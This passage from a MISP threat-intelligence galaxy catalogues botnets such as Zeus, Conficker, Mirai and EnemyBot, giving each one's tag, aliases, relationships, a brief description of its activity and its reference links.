View relationships graph

Cutwail has relationships with:

- similar: misp-galaxy:malpedia="Cutwail" with estimative-language:likelihood-probability="likely"

Table 710. Table References

Links
https://en.wikipedia.org/wiki/Cutwail_botnet

Akbot

Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.

The tag is: *misp-galaxy:botnet="Akbot"*

View relationships graph

Akbot has relationships with:

- similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"

Table 711. Table References

Links
https://en.wikipedia.org/wiki/Akbot

Srizbi

Srizbi BotNet, considered one of the world's largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.

The tag is: *misp-galaxy:botnet="Srizbi"*

Srizbi is also known as:

- Cbeplay
- Exchanger

Table 712. Table References

Links
https://en.wikipedia.org/wiki/Srizbi_botnet

Lethic

The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.

The tag is: *misp-galaxy:botnet="Lethic"*

View relationships graph

Lethic has relationships with:

- similar: misp-galaxy:malpedia="Lethic" with estimative-language:likelihood-probability="likely"

Table 713. Table References

Links
https://en.wikipedia.org/wiki/Lethic_botnet

Xarvester

The tag is: *misp-galaxy:botnet="Xarvester"*

Xarvester is also known as:

- Rlsloup
- Pixoliz

Table 714. Table References

Links
https://krebsonsecurity.com/tag/xarvester/

Sality

Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.

The tag is: *misp-galaxy:botnet="Sality"*

Sality is also known as:

- Sector
- Kuku
- Sality
- SalLoad
- Kookoo
- SaliCode

- Kukacka

View relationships graph

Sality has relationships with:

- similar: misp-galaxy:malpedia="Sality" with estimative-language:likelihood-probability="likely"

Table 715. Table References

Links
https://en.wikipedia.org/wiki/Sality

Mariposa

The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.

The tag is: *misp-galaxy:botnet="Mariposa"*

Table 716. Table References

Links
https://en.wikipedia.org/wiki/Mariposa_botnet

Conficker

Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.

The tag is: *misp-galaxy:botnet="Conficker"*

Conficker is also known as:

- DownUp
- DownAndUp
- DownAdUp
- Kido

View relationships graph

Conficker has relationships with:

- similar: misp-galaxy:malpedia="Conficker" with estimative-language:likelihood-probability="likely"

Table 717. Table References

Links
https://en.wikipedia.org/wiki/Conficker

Waledac

Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.

The tag is: *misp-galaxy:botnet="Waledac"*

Waledac is also known as:

- Waled
- Waledpak

Table 718. Table References

Links
https://en.wikipedia.org/wiki/Waledac_botnet

Maazben

A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.

The tag is: *misp-galaxy:botnet="Maazben"*

Table 719. Table References

Links
https://www.symantec.com/connect/blogs/evaluating-botnet-capacity

Onewordsub

The tag is: *misp-galaxy:botnet="Onewordsub"*

Table 720. Table References

Links

https://www.botnets.fr/wiki/OneWordSub

Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: *misp-galaxy:botnet="Gheg"*

Gheg is also known as:

- Tofsee
- Mondera

View relationships graph

Gheg has relationships with:

- similar: misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"

Table 721. Table References

Links
https://www.cert.pl/en/news/single/tofsee-en/

Nucrypt

The tag is: *misp-galaxy:botnet="Nucrypt"*

Table 722. Table References

Links
https://www.botnets.fr/wiki.old/index.php?title=Nucrypt&setlang=en

Wopla

The tag is: *misp-galaxy:botnet="Wopla"*

Table 723. Table References

Links
https://www.botnets.fr/wiki.old/index.php/Wopla

Asprox

The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.

The tag is: *misp-galaxy:botnet="Asprox"*

Asprox is also known as:

- Badsrc
- Aseljo
- Danmec
- Hydraflux

View relationships graph

Asprox has relationships with:

- similar: misp-galaxy:malpedia="Asprox" with estimative-language:likelihood-probability="likely"

Table 724. Table References

Links
https://en.wikipedia.org/wiki/Asprox_botnet

Spamthru

Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine's processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.

The tag is: *misp-galaxy:botnet="Spamthru"*

Spamthru is also known as:

- Spam-DComServ
- Covesmer
- Xmiler

Table 725. Table References

Links

http://www.root777.com/security/analysis-of-spam-thru-botnet/

Gumblar

Gumblar is a malicious JavaScript trojan horse file that redirects a user's Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.

The tag is: *misp-galaxy:botnet="Gumblar"*

Table 726. Table References

Links
https://en.wikipedia.org/wiki/Gumblar

BredoLab

The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.

The tag is: *misp-galaxy:botnet="BredoLab"*

BredoLab is also known as:

- Oficla

View relationships graph

BredoLab has relationships with:

- similar: misp-galaxy:tool="Oficla" with estimative-language:likelihood-probability="likely"

Table 727. Table References

Links
https://en.wikipedia.org/wiki/Bredolab_botnet

Grum

The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world's largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world's 3rd largest botnet, responsible for 18% of worldwide spam traffic.

The tag is: *misp-galaxy:botnet="Grum"*

Grum is also known as:

- Tedroo

- Reddyb

Table 728. Table References

Links
https://en.wikipedia.org/wiki/Grum_botnet

Mega-D

The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.

The tag is: *misp-galaxy:botnet="Mega-D"*

Mega-D is also known as:

- Ozdok

Table 729. Table References

Links
https://en.wikipedia.org/wiki/Mega-D_botnet

Kraken

The Kraken botnet was the world's largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.

The tag is: *misp-galaxy:botnet="Kraken"*

Kraken is also known as:

- Kracken

View relationships graph

Kraken has relationships with:

- similar: misp-galaxy:botnet="Marina Botnet" with estimative-language:likelihood-probability="likely"

Table 730. Table References

Links
https://en.wikipedia.org/wiki/Kraken_botnet

Festi

The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.

The tag is: *misp-galaxy:botnet="Festi"*

Festi is also known as:

- Spamnost

Table 731. Table References

Links
https://en.wikipedia.org/wiki/Festi_botnet

Vulcanbot

Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.

The tag is: *misp-galaxy:botnet="Vulcanbot"*

Table 732. Table References

Links
https://en.wikipedia.org/wiki/Vulcanbot

LowSec

The tag is: *misp-galaxy:botnet="LowSec"*

LowSec is also known as:

- LowSecurity
- FreeMoney
- Ring0.Tools

TDL4

Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system's network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).

The tag is: *misp-galaxy:botnet="TDL4"*

TDL4 is also known as:

- TDSS
- Alureon

View relationships graph

TDL4 has relationships with:

- similar: misp-galaxy:malpedia="Alureon" with estimative-language:likelihood-probability="likely"

Table 733. Table References

Links
https://en.wikipedia.org/wiki/Alureon#TDL-4

Zeus

Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

The tag is: *misp-galaxy:botnet="Zeus"*

Zeus is also known as:

- Zbot
- ZeuS
- PRG
- Wsnpoem
- Gorhax
- Kneber

View relationships graph

Zeus has relationships with:

- similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 734. Table References

Links
https://en.wikipedia.org/wiki/Zeus_(malware)

Kelihos

The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.

The tag is: *misp-galaxy:botnet="Kelihos"*

Kelihos is also known as:

- Hlux

View relationships graph

Kelihos has relationships with:

- similar: misp-galaxy:malpedia="Kelihos" with estimative-language:likelihood-probability="likely"

Table 735. Table References

Links
https://en.wikipedia.org/wiki/Kelihos_botnet

Ramnit

Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.

The tag is: *misp-galaxy:botnet="Ramnit"*

View relationships graph

Ramnit has relationships with:

- similar: misp-galaxy:banker="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 736. Table References

Links

https://en.wikipedia.org/wiki/Botnet

Zer0n3t

The tag is: *misp-galaxy:botnet="Zer0n3t"*

Zer0n3t is also known as:

- Fib3rl0g1c
- Zer0n3t
- Zer0Log1x

Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

The tag is: *misp-galaxy:botnet="Chameleon"*

Table 737. Table References

Links
https://en.wikipedia.org/wiki/Chameleon_botnet

Mirai

Mirai (Japanese for "the future", □□) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

The tag is: *misp-galaxy:botnet="Mirai"*

View relationships graph

Mirai has relationships with:

- similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"

- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 738. Table References

Links
https://en.wikipedia.org/wiki/Mirai_(malware)
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/
https://www.bleepingcomputer.com/news/security/new-mirai-variant-comes-with-27-exploits-targets-enterprise-devices/

XorDDoS

XOR DDOS is a Linux trojan used to perform large-scale DDoS

The tag is: *misp-galaxy:botnet="XorDDoS"*

Table 739. Table References

Links
https://en.wikipedia.org/wiki/Xor_DDoS

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:botnet="Satori"*

Satori is also known as:

- Okiru

View relationships graph

Satori has relationships with:

- similar: misp-galaxy:tool="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

Table 740. Table References

Links
https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant

BetaBot

The tag is: *misp-galaxy:botnet="BetaBot"*

View relationships graph

BetaBot has relationships with:

- similar: misp-galaxy:malpedia="BetaBot" with estimative-language:likelihood-probability="likely"

Hajime

Hajime (meaning 'beginning' in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: *misp-galaxy:botnet="Hajime"*

View relationships graph

Hajime has relationships with:

- similar: misp-galaxy:malpedia="Hajime" with estimative-language:likelihood-probability="likely"

Table 741. Table References

Links
https://www.bleepingcomputer.com/news/security/hajime-botnet-makes-a-comeback-with-massive-scan-for-mikrotik-routers/
https://en.wikipedia.org/wiki/Hajime_(malware)
https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/

Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal

CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: *misp-galaxy:botnet="Muhstik"*

Table 742. Table References

Links
https://www.bleepingcomputer.com/news/security/big-iot-botnet-starts-large-scale-exploitation-of-drupalgeddon-2-vulnerability/

Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device's flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device's OS will automatically start the malware's process after the next reboot.

The tag is: *misp-galaxy:botnet="Hide and Seek"*

Hide and Seek is also known as:

- HNS
- Hide 'N Seek

View relationships graph

Hide and Seek has relationships with:

- similar: misp-galaxy:malpedia="Hide and Seek" with estimative-language:likelihood-probability="likely"

Table 743. Table References

Links
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/

https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/
https://www.bleepingcomputer.com/news/security/hide-and-seek-botnet-adds-infection-vector-for-android-devices/

Mettle

Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.

The tag is: *misp-galaxy:botnet="Mettle"*

Table 744. Table References

Links
https://thehackernews.com/2018/05/botnet-malware-hacking.html

Owari

IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called WICKED

The tag is: *misp-galaxy:botnet="Owari"*

View relationships graph

Owari has relationships with:

- similar: misp-galaxy:malpedia="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 745. Table References

Links
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html

Brain Food

Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.

The tag is: *misp-galaxy:botnet="Brain Food"*

Table 746. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/brain-food-botnet-gives-website-operators-heartburn

Pontoeb

The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding

The tag is: *misp-galaxy:botnet="Pontoeb"*

Pontoeb is also known as:

- N0ise

Table 747. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:MSIL/Pontoeb.J
http://dataprotectioncenter.com/general/are-you-beta-testing-malware/

Trik Spam Botnet

The tag is: *misp-galaxy:botnet="Trik Spam Botnet"*

Trik Spam Botnet is also known as:

- Trik Trojan

Table 748. Table References

Links
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

Madmax

The tag is: *misp-galaxy:botnet="Madmax"*

Madmax is also known as:

- Mad Max

View relationships graph

Madmax has relationships with:

- similar: misp-galaxy:tool="Mad Max" with estimative-language:likelihood-probability="likely"

Table 749. Table References

Links
https://news.softpedia.com/news/researchers-crack-mad-max-botnet-algorithm-and-see-in-the-future-506696.shtml

Pushdo

The tag is: *misp-galaxy:botnet="Pushdo"*

View relationships graph

Pushdo has relationships with:

- similar: misp-galaxy:malpedia="Pushdo" with estimative-language:likelihood-probability="likely"

Table 750. Table References

Links
https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/

Simda

The tag is: *misp-galaxy:botnet="Simda"*

View relationships graph

Simda has relationships with:

- similar: misp-galaxy:malpedia="Simda" with estimative-language:likelihood-probability="likely"

Table 751. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA15-105A

Virut

The tag is: *misp-galaxy:botnet="Virut"*

View relationships graph

Virut has relationships with:

- similar: misp-galaxy:malpedia="Virut" with estimative-language:likelihood-probability="likely"

Table 752. Table References

Links
https://en.wikipedia.org/wiki/Virut

Beebone

The tag is: *misp-galaxy:botnet="Beebone"*

Table 753. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions

Bamital

The tag is: *misp-galaxy:botnet="Bamital"*

Bamital is also known as:

- Mdrop-CSK
- Agent-OCF

Table 754. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2FBamital
https://www.symantec.com/security-center/writeup/2010-070108-5941-99

Gafgyt

Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall's Global Management System (GMS).

The tag is: *misp-galaxy:botnet="Gafgyt"*

Gafgyt is also known as:

- Bashlite

View relationships graph

Gafgyt has relationships with:

- similar: misp-galaxy:tool="Gafgyt" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"

Table 755. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.symantec.com/security-center/writeup/2014-100222-5658-99

Sora

Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year.Initial versions were nothing out of the ordinary, and Sora's original author soon moved on to developing the Mirai Owari version, shortly after Sora's creation.

The tag is: *misp-galaxy:botnet="Sora"*

Sora is also known as:

- Mirai Sora

View relationships graph

Sora has relationships with:

- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"

Table 756. Table References

Links
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/

Torii

```
we have been observing a new malware strain, which we call Torii, that differs from
Mirai and other botnets we know of, particularly in the advanced techniques it uses.
The developers of the botnet seek wide coverage and for this purpose they created
binaries for multiple CPU architectures, tailoring the malware for stealth and
persistence.
```

The tag is: *misp-galaxy:botnet="Torii"*

View relationships graph

Torii has relationships with:

- similar: misp-galaxy:malpedia="Torii" with estimative-language:likelihood-probability="likely"

Table 757. Table References

Links
https://blog.avast.com/new-torii-botnet-threat-research
https://www.bleepingcomputer.com/news/security/new-iot-botnet-torii-uses-six-methods-for-persistence-has-no-clear-purpose/

Persirai

A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.

The tag is: *misp-galaxy:botnet="Persirai"*

View relationships graph

Persirai has relationships with:

- similar: misp-galaxy:malpedia="Persirai" with estimative-language:likelihood-probability="likely"

Table 758. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we're calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: *misp-galaxy:botnet="Chalubo"*

Table 759. Table References

Links
https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/

AESDDoS

Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.

The tag is: *misp-galaxy:botnet="AESDDoS"*

Table 760. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/aesddos-botnet-malware-exploits-cve-2019-3396-to-perform-remote-code-execution-ddos-attacks-and-cryptocurrency-mining/

Arceus

A set of DDoS botnet.

The tag is: *misp-galaxy:botnet="Arceus"*

Arceus is also known as:

- Katura
- MyraV
- myra

Mozi

Mozi infects new devices through weak telnet passwords and exploitation.

The tag is: *misp-galaxy:botnet="Mozi"*

Table 761. Table References

Links
https://blog.netlab.360.com/mozi-another-botnet-using-dht/
https://threatpost.com/mozi-botnet-majority-iot-traffic/159337/
https://securityintelligence.com/posts/botnet-attack-mozi-mozied-into-town/

UPAS-Kit

UPAS-Kit was advertised by auroras a/k/a vinny in middle of june 2012 via exploit.in. Upas is the predecessor of Kronos. Marcus Hutchins helped create and, in partnership with another, sell malicious computer code, a/k/a malware, known as UPAS-Kit.

The tag is: *misp-galaxy:botnet="UPAS-Kit"*

UPAS-Kit is also known as:

- Rombrast

Table 762. Table References

Links
https://research.checkpoint.com/2018/deep-dive-upas-kit-vs-kronos/
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html
https://web.archive.org/web/20130120062602/http://onthar.in/articles/upas-kit-analysis/
https://regmedia.co.uk/2019/04/19/plea.pdf

Phorpiex

Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: *misp-galaxy:botnet="Phorpiex"*

Phorpiex is also known as:

- Trik

Table 763. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

DDG

First activity observed in October 2017. DDG is a botnet with P2P capability that is targeting crypto currency mining (Monero).

The tag is: *misp-galaxy:botnet="DDG"*

View relationships graph

DDG has relationships with:

- similar: misp-galaxy:malpedia="DDG" with estimative-language:likelihood-probability="likely"

Table 764. Table References

Links
https://twitter.com/JiaYu_521/status/1204248344043778048
https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-servers/
https://blog.netlab.360.com/ddg-botnet-round-x-is-there-an-ending/
https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/
https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/
https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddg

Glupteba

A multi-component botnet targeting Windows Computer. Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices. The botnet has been observed targeting victims worldwide, including the US, India, Brazil and Southeast Asia. The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).

The tag is: *misp-galaxy:botnet="Glupteba"*

Table 765. Table References

Links
https://blog.google/threat-analysis-group/disrupting-glupteba-operation/

Elknot

DDoS Botnet

The tag is: *misp-galaxy:botnet="Elknot"*

Elknot is also known as:

- Linux/BillGates
- BillGates

Table 766. Table References

Links
https://www.virusbulletin.com/conference/vb2016/abstracts/elknot-ddos-botnets-we-watched
https://www.virusbulletin.com/uploads/pdf/conference_slides/2016/Liu_Wang-vb-2016-TheElknotDDoSBotnetsWeWatched.pdf

Cyclops Blink

Advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group.

The tag is: *misp-galaxy:botnet="Cyclops Blink"*

Table 767. Table References

Links
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a

Abcbot

Botnet

The tag is: *misp-galaxy:botnet="Abcbot"*

Table 768. Table References

Links
https://blog.netlab.360.com/abcbot_an_evolving_botnet_en

Ripprbot

Botnet

The tag is: *misp-galaxy:botnet="Ripprbot"*

Table 769. Table References

Links
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days

EnemyBot

In mid-March [2022], FortiGuard Labs observed a new DDoS botnet calling itself “Enemybot” and attributing itself to Keksec, a threat group that specializes in cryptomining and DDoS attacks.

This botnet is mainly derived from Gafgyt’s source code but has been observed to borrow several modules from Mirai’s original source code.

It uses several methods of obfuscation for its strings to hinder analysis and hide itself from other botnets. Furthermore, it connects to a command-and-control (C2) server that is hidden in the Tor network, making its takedown more complicated.

Enemybot has been seen targeting routers from Seowon Intech, D-Link, and exploits a recently reported iRZ router vulnerability to infect more devices.

